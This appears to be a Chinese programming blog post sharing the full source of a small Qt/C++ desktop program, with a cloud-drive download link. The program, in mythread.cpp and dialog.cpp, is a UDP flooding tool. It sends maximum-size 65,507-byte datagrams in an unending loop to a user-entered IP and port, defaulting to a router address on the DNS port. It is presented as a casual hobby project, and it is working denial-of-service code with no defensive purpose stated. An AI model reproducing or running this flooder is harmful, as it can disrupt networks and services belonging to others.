没有事情做 随手写的小程序

Qt 代码包 在百度网盘里

链接: https://pan.baidu.com/s/17yjeAkzi18upfqfD7KxXOQ?pwd=6666

dialog.h :

cpp 复制代码
#ifndef DIALOG_H
#define DIALOG_H

#include <QDialog>
#include <mythread.h>




QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACE

class Dialog : public QDialog
{
    Q_OBJECT

public:
    Dialog(QWidget *parent = nullptr);
    ~Dialog();
    mythread *thread;


private slots:
    void on_pushButton_clicked();

    void on_pushButton_2_clicked();

private:
    Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h :

cpp 复制代码
#ifndef MYTHREAD_H
#define MYTHREAD_H

#include <QObject>
#include <QThread>
#include <QUdpSocket>
#include <QByteArray>
#include <QString>
#include <QHostAddress>
#include <QDebug>

class mythread : public QThread
{
    Q_OBJECT
public:
    mythread();
    QString address;
    QString port;
    QByteArray buffer;
    void run();
    QUdpSocket *socket;
    void setaddress(QString maddress);
    void setport(QString mport);
    void setstop(bool mclose);
    bool close;

};

#endif // MYTHREAD_H

dialog.cpp :

cpp 复制代码
#include "dialog.h"
#include "ui_dialog.h"

Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
    , ui(new Ui::Dialog)
{
    ui->setupUi(this);
}

Dialog::~Dialog()
{
    delete ui;
}

void Dialog::on_pushButton_clicked()
{
    thread = new mythread();
    thread->setstop(true);
    thread->setaddress(ui->lineEdit->text());
    thread->setport(ui->lineEdit_2->text());
    thread->start();
    thread->start();
    thread->start();
    thread->start();
    thread->start();
    thread->start();
}


void Dialog::on_pushButton_2_clicked()
{
    thread->setstop(false);
}

mythread.cpp :

cpp 复制代码
#include "mythread.h"

mythread::mythread()
{
    socket = new QUdpSocket(this);
    address = "192.168.1.1";
    port = "53";
    close = true;
}


void mythread::run()
{
    for(int i=0;i<65507;i++)
    {
        buffer.append("a");
    }
    while(close){
        socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
    }
}



void mythread::setaddress(QString maddress)
{
    address = maddress;
}


void mythread::setport(QString mport)
{
    port = mport;
}

void mythread::setstop(bool mclose)
{
    close = mclose;
}

.pro :

bash 复制代码
QT       += core gui network

greaterThan(QT_MAJOR_VERSION, 4): QT += widgets

CONFIG += c++17

# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

SOURCES += \
    main.cpp \
    dialog.cpp \
    mythread.cpp

HEADERS += \
    dialog.h \
    mythread.h

FORMS += \
    dialog.ui

# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target
相关推荐
Bruce小鬼39 分钟前
QT文件基本操作
开发语言·qt
懷淰メ1 小时前
PyQt飞机大战游戏(附下载地址)
开发语言·python·qt·游戏·pyqt·游戏开发·pyqt5
Mr.Q6 小时前
OpenCV和Qt坐标系不一致问题
qt·opencv
重生之我是数学王子9 小时前
QT基础 编码问题 定时器 事件 绘图事件 keyPressEvent QT5.12.3环境 C++实现
开发语言·c++·qt
----云烟----18 小时前
QT中QString类的各种使用
开发语言·qt
「QT(C++)开发工程师」1 天前
【qt版本概述】
开发语言·qt
一路冰雨1 天前
Qt打开文件对话框选择文件之后弹出两次
开发语言·qt
老赵的博客1 天前
QT 自定义界面布局要诀
开发语言·qt
码码哈哈0.01 天前
VSCode 2022 离线安装插件QT VSTOOl报错此扩展不能安装在任何当前安装的产品上。
ide·vscode·qt
feiyangqingyun1 天前
Qt/C++离线地图的加载和交互/可以离线使用/百度和天地图离线/支持手机上运行
c++·qt·qt天地图·qt离线地图·qt地图导航